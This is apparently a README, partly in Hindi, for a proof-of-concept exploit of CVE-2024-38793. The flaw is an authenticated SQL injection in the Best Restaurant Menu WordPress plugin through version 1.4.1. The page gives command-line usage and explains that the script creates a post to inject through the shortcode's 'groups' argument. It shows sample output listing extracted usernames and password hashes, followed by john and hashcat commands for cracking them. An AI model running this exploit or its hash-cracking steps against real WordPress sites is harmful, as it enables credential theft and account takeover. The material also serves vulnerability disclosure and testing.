
CVE-2024-38793 (Best Restaurant Menu by PriceListo <= 1.4.1 - प्रमाणित (Contributor+) SQL इंजेक्शन) के शोषण के लिए प्रूफ ऑफ कॉन्सेप्ट कोड
CVE-2024-38793 (Best Restaurant Menu by PriceListo <= 1.4.1 - प्रमाणित (Contributor+) SQL इंजेक्शन) के शोषण के लिए प्रूफ ऑफ कॉन्सेप्ट कोड।
यह CVE-2024-38793 भेद्यता के लिए एक प्रूफ ऑफ कॉन्सेप्ट एक्सप्लॉइट है, जो WordPress प्लगइन Best Restaurant Menu उर्फ Great Restaurant Menu WP के 1.4.2 से पहले के संस्करणों के लिए एक SQL इंजेक्शन भेद्यता है।
यह भेद्यता brm_restaurant_menu शॉर्टकोड का उपयोग करते समय groups तर्क पर इनपुट सैनिटाइज़ेशन की कमी के कारण उत्पन्न होती है।
नोट: इसके लिए कम से कम Contributor स्तर के विशेषाधिकार वाले उपयोगकर्ता की क्रेडेंशियल आवश्यक हैं।
कोड WordPress उपयोगकर्ता तालिका से उपयोगकर्ता नाम और पासवर्ड हैश प्राप्त करने का प्रयास करेगा।
CVE-2024-38793 Exploit (Best Restaurant Menu by PriceListo Version <= 1.4.1) PoC
Requires Contributor+ Privileges on a WordPress instance with the plugin installed
Credit: @ret2desync
Will attempt to create a new post, exploit the vulnerability and extract all users usernames and password hashes
Example usage:
python3 CVE-2024-38793.py -t "http://127.0.0.1/wordpress/" -u contributor -p password --proxy "http://127.0.0.1:8080"
usage: CVE-2024-38793.py [-h] -t TARGET -u USERNAME -p PASSWORD [--proxy PROXY] [-o OUTFILE]
python3 CVE-2024-38793.py -t "http://127.0.0.1/wordpress/" -u contributor -p password
CVE-2024-38793 Exploit (Best Restaurant Menu by PriceListo Version <= 1.4.1) PoC
Requires Contributor+ Privileges on a WordPress instance with the plugin installed
Credit: @ret2desync
Will attempt to create a new post, exploit the vulnerability and extract all users usernames and password hashes
Example usage:
python3 CVE-2024-38793.py -t "http://127.0.0.1/wordpress/" -u contributor -p password --proxy "http://127.0.0.1:8080"
[*] Successfully signed in to Wordpress using contributor password
[*] Successfully created new post, id: 219
[*] Successfully saved new post with exploit, post id: 219
[*] Successfully grabbed usernames and password hashes
[*] Found 2 sets of credentials
[*** Credentials ***]
root:$P$BG.b.gHI.byee9PWs8GspKxY9qp0Cm0
contributor:$P$BBVRINbQUo28Tpbp3H7/iITT/Eo9aR0
[*] Crack hashes with:
john <hashes_file> --wordlist=<wordlist>
hashcat -m 400 -a 0 --username <hashes_file> <wordlist>
[*] Exploit completed successfully